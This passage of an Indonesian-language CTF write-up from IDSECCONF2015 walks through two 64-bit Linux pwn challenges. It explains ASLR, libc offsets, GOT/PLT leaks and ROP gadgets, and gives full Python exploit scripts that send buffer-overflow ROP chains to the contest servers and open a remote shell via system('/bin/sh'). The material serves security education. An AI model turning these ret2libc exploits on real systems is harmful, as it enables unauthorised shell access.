  19. 19.   pwn medium​ ​250 Points  Challenge​ ini adalah lanjutan dari pwn easy. Kira­kira file ​binary​­nya sama, namun tidak ada fungsi  indonesia() yang akan melakukan ‘cat flag.txt’. Selain diberikan file binary ELF 64­bit­nya, diberikan juga  sebuah file libc.so.6 yang kemungkinan merupakan library C yang dipunya layanan yang disediakan di  128.199.188.104 port 17945.    $ nc128.199.188.10417945 0x7fdd8d3ba640 DicobaLagiGan   Pada saat program berjalan maka program akan mengeluarkan suatu ​address​. Alamat ini berbeda­beda  setiap program berjalan. Hasil ​decompilation​ menjadi pseudo C menggunakan Hopper menunjukkan bahwa  alamat ini adalah alamat fungsi system() pada libc.so.6 yang digunakan program.    function​roproprop{ rax​=​read​(​0x0​,​var_80​,​​0x200​); ​return​rax; } function​alamatsys{ dlsym​(​dlopen​(​"libc.so.6"​,​​0x1​),​​"system"​); printf​(​0x4008e5​); rax​=​​*​__TMC_END__; rax​=​fflush​(​rax​); ​return​rax; } function​main{ alamatsys​(); write​(​0x1​,​​"DicobaLagiGan!n"​,​​0x11​); rax​=​roproprop​(); ​return​rax; }    Mengapa ​address​ yang ditampikan berubah­ubah? Hal ini dikarenakan ASLR (Address Space Layout  Randomization) diaktifkan pada ​environment​ server. ASLR berguna agar sistem dapat me­​load​ sebuah  program di lokasi memori yang berbeda ketika tiap program dijalankan. Pada sistem operasi umum  sekarang, ASLR juga biasanya diaktifkan secara ​default​. Silahkan cek di Linux Anda seperti berikut.    $ cat/proc/sys/kernel/randomize_va_space 2   Jika keluar > 0 seperti di atas, maka ASLR aktif di Linux Anda.    Sebelum lanjut ke eksploitasi ada baiknya kita mengetahui/me­​review​ beberapa hal ini terlebih dahulu :        Write Up Online CTF ​#IDSECCONF2015​ ­ farisv   
  20. 20.   1) libc atau C library adalah kumpulan fungs­fungsi standard yang dipakai oleh program C, misalnya  printf(), scanf(), dan juga system(). Program yang di­​compile​ dengan C secara ​default​ akan me­​link  ke library ini untuk memanggil fungsi­fungsi yang diperlukan. Tiap komputer mungkin menggunakan  libc yang berbeda­beda tergantung versinya. Pada ​challenge​ ini, diberikan libc yang dipakai oleh  program pada server.  2) system adalah fungsi untuk mengeksekusi ​shell command​. system(“cat /etc/passwd”) akan  menjalankan ‘cat /etc/passwd’ dan system(“/bin/sh”) akan menjalankan ​shell​.  3) Offset Address adalah jarak sesuatu dari awal ​address​ (​base address​). Contoh, misalnya ​base  address​ dari libc adalah X dan offset dari suatu fungsi dari libc tersebut adalah 0x4008e5 maka  address​ aslinya adalah X+0x4008e5. Offset ini tidak berubah namun X bisa berubah­ubah karena  ASLR.    Apa yang terjadi kalau kita memanipulasi program agar memanggil system(“/bin/sh”) dari libc? Kita akan  mendapatkan akses ​shell​ melalui program tersebut. Kita dapat melakukannya dengan ​buffer overflow​ dan  itulah tujuan dari ​challenge ​ini. Eksploitasi yang dapat dilakukan adalah ROP (Return Oriented  Programming) di mana kita akan membuat program menjalankan instruksi ​assembly​ yang sudah ada di  library maupun ​binary​ (gadget) untuk meng­​return​ ke sesuatu yang sudah ada juga baik di library ataupun  binary​.    Seperti pada pwn easy, di sini kita akan meng­​overwrite​ rip (instruction pointer). Overwrite rip menjadi  gadget atau instruksi yang sedimikian sehingga kita bisa call system(“/bin/sh”). Sebelumnya ada hal penting  yang harus kita ketahui terlebih dahulu, yaitu ​offset​ dari system (supaya kita bisa mengetahui ​base​ ​address  libc) dan “/bin/sh” (ya, string “/bin/sh” bisa ditemukan di libc). Saya menggunakan libc database  https://github.com/niklasb/libc­database​.     [libc-database]$ ./addlibc.so.6 Addinglocallibclibc.so.6(idlocal-1f18479f19ee690de8aab335fafd244c8aa6f17c libc.so.6) ->Writinglibctodb/local-1f18479f19ee690de8aab335fafd244c8aa6f17c.so ->Writingsymbolstodb/local-1f18479f19ee690de8aab335fafd244c8aa6f17c.symbols ->Writingversioninfo [libc-database]$ ./dumplocal-1f18479f19ee690de8aab335fafd244c8aa6f17c offset___libc_start_main_ret=0x21ec5 offset_system=0x0000000000046640 offset_dup2=0x00000000000ebfe0 offset_read=0x00000000000eb800 offset_write=0x00000000000eb860 offset_str_bin_sh=0x17ccdb   Terlihat bahwa ​offset​ dari system() adalah 0x46640 dan ​offset​ dari string “/bin/sh” adalah 0x17ccdb. Berarti  untuk mendapatkan ​base address​ libc, baca ​address​ yang dikeluarkan program kemudian kurangi dengan        Write Up Online CTF ​#IDSECCONF2015​ ­ farisv   
  21. 21.   offset​ dari system(). Selanjutnya untuk mengetahui alamat string “/bin/sh” yang sebenarnya adalah dengan  menjumlahkan ​base address​ libc dengan 0x17ccdb.    Selanjutnya kita akan mencari ​gadget​. Kita akan menaruh alamat string “/bin/sh” ke register rdi untuk  dijadikan parameter ke system(). Kita akan mencari “pop rdi” pada libc.so.6 yang diberikan agar nilai pada  stack​ di­pop kemudian dimasukkan ke register rdi.    $ objdump-Mintel-d/lib/x86_64-linux-gnu/libc.so.6|grep'pop rdi' 471fc: 5f pop rdi 498b3: 5f pop rdi c1280: 5f pop rdi fa47a: 5f pop rdi   Di sekitar ​address​ fa47a ada instruksi yang cukup umum untuk dijadikan ​gadget​.    $ objdump-Mintel-d/lib/x86_64-linux-gnu/libc.so.6|grep'pop rdi' …… fa479: 58 pop rax fa47a: 5f pop rdi fa47b: ffd0 call rax ….    Dengan mengatur ​instruction pointer​ ke libc ​base address​ + 0xfa479, instruksi yang dilakukan adalah pop  nilai di ​stack​ ke register rax, pop lagi dan masukkan ke register rdi, kemudian alamat yang berada di register  rax akan dipanggil. Oleh karena itu, rip harus kita overwrite menjadi libc ​base address​ + 0xfa479 dan  masukkan juga ​address​ dari system() dan string “/bin/sh” agar dimasukkan ke register rax dan rdi  berturut­turut. ROP chain yang dirancang menjadi seperti ini :    [136­bytes junk] + [libc base address + 0xfa479] + [libc base address + 0x46640] + [libc base address +  0x17ccdb]    Rancang ​script​ python untuk membaca ​address​ yang diberikan, dapatkan libc ​base address​­nya, kemudian  luncurkan exploitnya ke layanan yang disediakan dan lakukan interaksi.    from​​struct​​import​pack import​socket​,​​struct​,​time,telnetlib s​=​socket​.​socket​(​socket​.​AF_INET​,​socket​.​SOCK_STREAM) s​.​connect​((​"128.199.188.104"​,​​17945​)) gadget_offset​=​​0xfa479 system_offset​=​​0x46640 binsh_offset​=​​0x17ccdb given_address​=​s​.​recv​(​1024​)[:-​1]       Write Up Online CTF ​#IDSECCONF2015​ ­ farisv   
  22. 22.   system​=​​int​(​given_address​,​​16) libc_base​=​system​-​system_offset gadget​=​libc_base​+​gadget_offset binsh​=​libc_base​+​binsh_offset s​.​recv​(​1024) p​=​​'A'​*​136 p​+=​pack​(​"<Q"​,​gadget) p​+=​pack​(​"<Q"​,​system) p​+=​pack​(​"<Q"​,​binsh) s​.​send​(​p) time​.​sleep​(​0.5) t​=​telnetlib​.​Telnet​() t​.​sock​=​s t​.​interact​() s​.​close​()    Jalankan ​script​ yang dibuat untuk mendapatkan akses shell pada server dan lihat isi flag.txt.    $ pythonexploit.py id uid=1001(mediumOK)gid=1001(mediumOK)groups=1001(mediumOK) ls-al total40 drwxr-xr-x2root root 4096Aug1621:08. drwxr-xr-x3root root 4096Aug1621:08.. -r--------1mediumOKmediumOK 37Aug1810:17flag.txt -r-xr-xr-x1medium medium 8928Aug1610:16medium -rwxr-x---1root root 388Aug1610:16medium.c -rwxr-x---1root root 8928Aug1610:16pwnmedium catflag.txt flag{ROP_Rentetan_Orang_Perjaka_bro}     Flag : ​ROP_Rentetan_Orang_Perjaka  *di tengah kontes, flag diubah menjadi ​ROP_Rentetan_Orang_Perjaka_bro                        Write Up Online CTF ​#IDSECCONF2015​ ­ farisv   
  23. 23.   pwn 350​ ​350 Points  Pada saat kontes saya tidak sempat mengerjakan ​challenge ​ini dan berniat untuk mengerjakan setelah  kontes berakhir. Namun, belum sempat saya mulai mengerjakan, junior saya di kampus (sattvika, peringkat  5 di Online CTF) sudah berhasil merancang exploit yang benar. Sehingga selain saya mencari berbagai  macam referensi di internet, saya pun mempelajari dari cara yang dia lakukan.    Pada dasarnya pwn 350 adalah lanjutan dari pwn medium sehingga sebaiknya pembahasan dari pwn  medium dipahami terlebih dahulu. Jika di pwn medium kita diberikan ​address​ dari system() pada libc yang  dipakai, maka pwn 350 tidak memberikan ​address​ apa­apa. Layanan dari ​binary​ yang digunakan berada di  128.199.218.190 port 17458.    $ nc128.199.218.19017458 DirgahayuYangke70 Ayokerja JanganHarapalamatapapun    Apakah kita bisa melakukan hal yang sama seperti pada pwn medium (memanggil system(“/bin/sh”)) tanpa  diberikan ​address​ dari system() oleh program? Bisa, yaitu dengan me­​leak ​alamat tertentu di libc, panggil  kembali main­nya, dan kemudian lakukan hal yang serupa dengan pwn medium.    Pada ​binary​ yang menggunakan ​shared library​, umumnya bisa kita temukan Procedure Linkage Table atau  PLT.    $ objdump-Mintel-j.plt-dpwn pwn: fileformatelf64-x86-64 Disassemblyofsection.plt: 0000000000400440<write@plt-0x10>: 400440: ff35c20b2000 push QWORDPTR[rip+0x200bc2] #601008 <_GLOBAL_OFFSET_TABLE_+0x8> 400446: ff25c40b2000 jmp QWORDPTR[rip+0x200bc4] #601010 <_GLOBAL_OFFSET_TABLE_+0x10> 40044c: 0f1f4000 nop DWORDPTR[rax+0x0] 0000000000400450<write@plt>: 400450: ff25c20b2000 jmp QWORDPTR[rip+0x200bc2] #601018 <_GLOBAL_OFFSET_TABLE_+0x18> 400456: 6800000000 push 0x0 40045b: e9e0ffffff jmp 400440<_init+0x28> 0000000000400460<read@plt>: 400460: ff25ba0b2000 jmp QWORDPTR[rip+0x200bba] #601020 <_GLOBAL_OFFSET_TABLE_+0x20>       Write Up Online CTF ​#IDSECCONF2015​ ­ farisv   
  24. 24.   400466: 6801000000 push 0x1 40046b: e9d0ffffff jmp 400440<_init+0x28> 0000000000400470<__libc_start_main@plt>: 400470: ff25b20b2000 jmp QWORDPTR[rip+0x200bb2] #601028 <_GLOBAL_OFFSET_TABLE_+0x28> 400476: 6802000000 push 0x2 40047b: e9c0ffffff jmp 400440<_init+0x28> 0000000000400480<__gmon_start__@plt>: 400480: ff25aa0b2000 jmp QWORDPTR[rip+0x200baa] #601030 <_GLOBAL_OFFSET_TABLE_+0x30> 400486: 6803000000 push 0x3 40048b: e9b0ffffff jmp 400440<_init+0x28>   Fungsi dari PLT adalah untuk memanggil fungsi eksternal yang alamatnya tidak diketahui ketika ​linking​.  Untuk melakukan ​resolve address​, digunakan GOT atau Global Offset Table. Bisa dilihat bahwa ketika  program membaca sesuatu, maka yang di­​call​ adalah read@plt.    $ objdump-Mintel-dpwn|grep"read@plt" 0000000000400460<read@plt>: 40059f: e8bcfeffff call 400460<read@plt>   Sebenarnya ketika program membaca masukan, read yang dipakai adalah read milik libc. Nah, kalau kita  berhasil membaca GOT dari read@plt (0x601020​)​ini sebenarnya merujuk ke ​address​ mana ketika  program berjalan, maka kita bisa dapatkan libc ​base address​ dengan mengurangi ​address​ yang didapat  dengan ​offset​ dari read() milik libc yang diberikan pada ​challenge​ ini.    Pertama, kita akan mencoba untuk melakukan write. Kita bisa mengatur ​instruction pointer​ menjadi  write@plt (0x400450), namun sebelumnya kita harus mengisi register rdi dengan 0x01 (agar bisa  melakukan write) dan rsi dengan alamat GOT read@plt (0x601020). Oleh karena itu kita akan mencari  gadget​ untuk pop rdi dan pop rsi. Di sini saya memakai ​http://ropshell.com/​ untuk mencari gadget dengan  mengunggah ​binary​ dari ​challenge​ ini ke situs tersebut terlebih dahulu.    http://ropshell.com/ropsearch?h=941a4ddec7c23d91d6eecf7b85d63e82&p=pop+rdi  ropshell>searchpoprdi found1gadgets >0x00400643:poprdi;ret   http://ropshell.com/ropsearch?h=941a4ddec7c23d91d6eecf7b85d63e82&p=pop+rsi  ropshell>searchpoprsi found1gadgets >0x00400641:poprsi;popr15;ret         Write Up Online CTF ​#IDSECCONF2015​ ­ farisv   
  25. 25.   Perlu diperhatikan untuk 0x00400641, selain pop rsi juga dilakukan pop r15. Karena register r15 tidak  terpakai jadi bisa kita isi dengan 8­bytes sembarang.    ROP chain untuk melakukan write terhadap read@plt ini adalah :    [136­bytes junk] + [pop rdi; ret] + [0x00000001] + [pop rsi; pop r15; ret] + [GOT read@plt] + [8­bytes junk]  + [write@plt]    Instruction pointer​ pertama diarahkan ke ‘pop rdi; ret’ kemudian rdi diisi dengan 0x01, ​instruction​ ​pointer  berikutnya diarahkan ke ‘pop rsi; pop r15; ret’ kemudian rsi diisi dengan ​address​ GOT read@plt dan r15 diisi  dengan 8­bytes junk, kemudian ​instruction pointer​ diarahkan untuk memanggil write. Kita coba untuk  merancang ​script​ python untuk mengirimkan ROP chain ini.    from​​struct​​import​pack import​socket​,​​struct s​=​socket​.​socket​(​socket​.​AF_INET​,​socket​.​SOCK_STREAM) s​.​connect​((​"128.199.218.190"​,​​17458​)) got_readplt​=​​0x601020 writeplt​=​​0x400450 poprdi​=​​0x400643​​#poprdi;ret poprsi​=​​0x400641​​#poprsi;popr15;ret s​.​recv​(​1024) p​=​​'A'​*(​136) p​+=​pack​(​"<Q"​,​poprdi) p​+=​pack​(​"<Q"​,​​1) p​+=​pack​(​"<Q"​,​poprsi) p​+=​pack​(​"<Q"​,​got_readplt) p​+=​​'A'​*8 p​+=​pack​(​"<Q"​,​writeplt) s​.​send​(​p) output​=​s​.​recv​(​8) print​output​.​encode​(​"hex")    Jalankan ​script​ tersebut.    $ pythonleak.py 70f426e9a57f0000    Terlihat bahwa program mengeluarkan sebuah ​address​. Setiap ​script​ dijalankan, ​address​ yang keluar juga  berbeda­beda. Dengan demikian kita berhasil melakukan ​leak​ terhadap ​address​ dari read() pada libc.          Write Up Online CTF ​#IDSECCONF2015​ ­ farisv   
  26. 26.   Langkah selanjutnya sebenarnya dapat kita lakukan seperti pada pwn medium, tetapi yang jadi masalah  adalah program langsung keluar setelah me­​leak​ ​address​. Oleh karena itu, kita atur agar program kembali  ke main. Kita tidak dapat langsung mengatur ​instruction pointer​ untuk ke main setelah ROP chain  sebelumnya. Alternatifnya, kita atur agar program memanggil read dan setelah ada masukan, baru program  akan melanjutkan ke main. Dari hasil objdump sebelumnya, alamat read@plt adalah 0x400460.    $ objdump-Mintel-dpwn|grepmain 0000000000400470<__libc_start_main@plt>: 4004b4: e8b7ffffff call 400470<__libc_start_main@plt> 00000000004005a6<main>:   Alamat main adalah 0x4005a6. Oh, ya untuk memanggil read, kita harus mengisi register rdi dengan 0 dan  mengisi register rsi dengan tujuannya. yaitu .data. Pembentukan ROP chain­nya sama dengan sebelumnya.  Di sini kita masih memerlukan address dari .data. Kita bisa dapatkan ​address​ dari .data melalui IDA.                    Address ​dari .data adalah 0x601038. Berikut adalah ROP chain melanjutkan chain sebelumnya.    [ROP chain untuk ​leak address​] + [pop rdi] + [0x00000000] + [pop rsi; pop r15; ret] + [.data] + [8­bytes junk]  + [read@plt] + [main]    ROP chain ini kemudian harus dilengkapi lagi untuk meng­​execute​ /bin/sh seperti pada pwn medium. Kita  sudah dapatkan ​leak address​ dari read() pada libc. Kita cari tahu offset dari read(), system(), dan string  “/bin/sh” pada libc yang diberikan dengan libc­database.    [libc-database]$ ./addlibc.so.6 Addinglocallibclibc.so.6(idlocal-4ebafaaba14f0c361facb0a2ff38de4f5a954c9alibc.so.6) ->Writinglibctodb/local-4ebafaaba14f0c361facb0a2ff38de4f5a954c9a.so ->Writingsymbolstodb/local-4ebafaaba14f0c361facb0a2ff38de4f5a954c9a.symbols ->Writingversioninfo [libc-database]$ ./dumplocal-4ebafaaba14f0c361facb0a2ff38de4f5a954c9a offset___libc_start_main_ret=0x20a40 offset_system=0x00000000000443d0 offset_dup2=0x00000000000f7b90       Write Up Online CTF ​#IDSECCONF2015​ ­ farisv   
  27. 27.   offset_read=0x00000000000f7470 offset_write=0x00000000000f74d0 offset_str_bin_sh=0x18c3dd Didapatkan offset dari system() adalah 0x443d0, offset dari read() adalah 0xf7470, dan offset dari string  “/bin/sh” adalah 0x18c3dd.     Karena program sudah kembali ke main dan membaca sesuatu, ROP chain untuk meng­​execute​ “/bin/sh”  mirip dengan pada pwn medium hanya saja karena di sini kita memakai ​gadget​ ‘pop rdi; ret’ maka kita  masukkan langsung string “/bin/sh” ke register rdi dan kemudian panggil system dengan memasukkan  address​ dari system().    [136­bytes junk] + [pop rdi; ret] + [string “bin/sh”] + [system]    Berikut adalah ​script​ python untuk melakukan exploit secara lengkap.    from​​struct​​import​pack import​socket​,​​struct​,​time​,​telnetlib s​=​socket​.​socket​(​socket​.​AF_INET​,​socket​.​SOCK_STREAM) s​.​connect​((​"128.199.218.190"​,​​17458​)) got_readplt​=​​0x601020 write​=​​0x400450 main​=​​0x4005a6 data​=​​0x601038 read​=​​0x400460 poprdi​=​​0x400643​​#poprdi;ret poprsi​=​​0x400641​​#poprsi;popr15;ret read_libc_offset​=​​0xf7470 binsh_offset​=​​0x18c3dd system_offset​=​​0x443d0 #Stage1:Leakread()addressinlibc,readaninputto.data(fordummy),andgotomain s​.​recv​(​1024) p​=​​'A'​*(​128​+​8) p​+=​pack​(​"<Q"​,​poprdi) p​+=​pack​(​"<Q"​,​​1) p​+=​pack​(​"<Q"​,​poprsi) p​+=​pack​(​"<Q"​,​got_readplt) p​+=​​'A'​*8 p​+=​pack​(​"<Q"​,​write) p​+=​pack​(​"<Q"​,​poprdi) p​+=​pack​(​"<Q"​,​​0) p​+=​pack​(​"<Q"​,​poprsi) p​+=​pack​(​"<Q"​,​data) p​+=​​'A'​*8 p​+=​pack​(​"<Q"​,​read) p​+=​pack​(​"<Q"​,​main)       Write Up Online CTF ​#IDSECCONF2015​ ­ farisv   
  28. 28.   s​.​send​(​p) output​=​s​.​recv​(​8) read_libc​=​​struct​.​unpack​(​"<Q"​,​output​)[​0] s​.​send​(​"a"​)​​#dummy #Stage2:ROPforexecute/bin/sh libc_base​=​read_libc​-​read_libc_offset system​=​libc_base​+​system_offset binsh​=​libc_base​+​binsh_offset s​.​recv​(​1024) p​=​​'A'​*(​128​+​8) p​+=​pack​(​"<Q"​,​poprdi) p​+=​pack​(​"<Q"​,​binsh) p​+=​pack​(​"<Q"​,​system) s​.​send​(​p) #Interactwithshell time​.​sleep​(​0.5) t​=​telnetlib​.​Telnet​() t​.​sock​=​s t​.​interact​() s​.​close​()   Jalankan ​script​ untuk mendaptkan akses ​shell​ pada server layanan yang disediakan.    $ pythonexploit.py DirgahayuYangke70 Ayokerja JanganHarapalamatapapun id uid=1002(hard)gid=1002(hard)groups=1002(hard) ls-al total2632 drwxr-xr-x2root root 4096Aug1802:22. drwxr-xr-x5root root 4096Aug1311:49.. -r--------1hard hard 31Aug1810:32flag.txt -rwxr-xr-x1hardOKhardOK 8640Aug1801:46hard -rwxr-x---1root root 290Aug1801:46hard.c -rwxr-xr-x1root root 1869392Aug1802:17libc.so.6 -rw-r--r--1root root 793641Aug1802:19pwn3.tar.gz catflag.txt flag{ini_buk4n_gadgets_p0ns3l}     Flag : ​ini_buk4n_gadgets_p0ns3l          Write Up Online CTF ​#IDSECCONF2015​ ­ farisv   

×